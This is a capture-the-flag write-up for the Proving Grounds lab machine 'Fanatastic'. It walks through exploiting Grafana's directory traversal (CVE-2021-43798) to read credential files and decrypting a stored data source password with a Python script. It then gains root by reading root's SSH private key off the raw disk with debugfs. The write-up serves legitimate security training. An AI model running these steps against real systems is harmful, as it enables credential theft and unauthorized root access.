Skip to content

Fanatastic Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

Fanatastic runs Grafana 8.3.0 next to Prometheus. Grafana's directory traversal (CVE-2021-43798) gives arbitrary file read, which leaks its SQLite database and config file. Decrypting the stored Prometheus data source password gives SSH access, and membership in the disk group lets us read root's SSH key straight off the raw block device.

Reconnaissance

Nmap

Scan all ports.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- $TARGET_IP
22/tcp   open  ssh   OpenSSH 8.2p1 Ubuntu
3000/tcp open  http  Grafana 8.3.0
9090/tcp open  http  Prometheus Time Series Collection and Processing Server

Grafana 8.3.0 is vulnerable to CVE-2021-43798, an unauthenticated directory traversal through plugin API routes.

Exploitation

Grafana directory traversal (CVE-2021-43798)

Run the public exploit, which provides an interactive arbitrary file read prompt.

┌──(kali㉿kali)-[~]
└─$ python3 50581.py -H http://$TARGET_IP:3000
Read file >

Read /etc/passwd to enumerate users.

┌──(kali㉿kali)-[~]
└─$ Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
<snip>
sysadmin:x:1001:1001::/home/sysadmin:/bin/sh
prometheus:x:1002:1002::/home/prometheus:/bin/false

Pull Grafana's SQLite database for its stored credentials.

┌──(kali㉿kali)-[~]
└─$ Read file > /var/lib/grafana/grafana.db
# user table
admin	admin@localhost	<bcrypt hash>
# data_source table (type: prometheus, url: http://localhost:9090)
sysadmin	anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

The data source stores an AES-encrypted password for user sysadmin. Read Grafana's config for the decryption secret.

┌──(kali㉿kali)-[~]
└─$ Read file > /etc/grafana/grafana.ini
;secret_key = SW2YcwTIb9zpOOhoPsMm

That is Grafana's default secret_key, left unchanged. It derives the AES key that encrypts secure_json_data.

Decrypting the data source password

The encrypted blob is [8-byte salt][16-byte IV][ciphertext], and the AES key is PBKDF2(SHA256, secret_key, salt, 10000).

import base64
from hashlib import pbkdf2_hmac
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

secret = 'SW2YcwTIb9zpOOhoPsMm'
encrypted = base64.b64decode('anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==')

salt = encrypted[:8]
iv = encrypted[8:24]
ciphertext = encrypted[24:]

key = pbkdf2_hmac('sha256', secret.encode(), salt, 10000, dklen=32)
cipher = Cipher(algorithms.AES(key), modes.CFB(iv))
decryptor = cipher.decryptor()
password = decryptor.update(ciphertext) + decryptor.finalize()
print('Decrypted:', password.decode())
┌──(kali㉿kali)-[~]
└─$ python3 decrypt.py
Decrypted: $SYSADMIN_PASSWORD

SSH as sysadmin

Log in with the decrypted password.

┌──(kali㉿kali)-[~]
└─$ ssh sysadmin@$TARGET_IP
sysadmin@fanatastic:~$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin),6(disk)

Privilege Escalation

Disk group membership

sysadmin belongs to the disk group, which grants raw access to block devices and bypasses filesystem permissions entirely.

┌──(kali㉿kali)-[~]
└─$ df -h /
/dev/sda2       9.8G  5.6G  3.7G  61% /

Read root's SSH private key straight off the raw device with debugfs.

┌──(kali㉿kali)-[~]
└─$ debugfs /dev/sda2 -R 'cat /root/.ssh/id_rsa'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQ
<snip>
-----END OPENSSH PRIVATE KEY-----

Save it and SSH in as root.

┌──(kali㉿kali)-[~]
└─$ echo '<root private key>' > /tmp/root_key
┌──(kali㉿kali)-[~]
└─$ chmod 600 /tmp/root_key
┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/root_key root@$TARGET_IP
root@fanatastic:~# id
uid=0(root) gid=0(root) groups=0(root)

References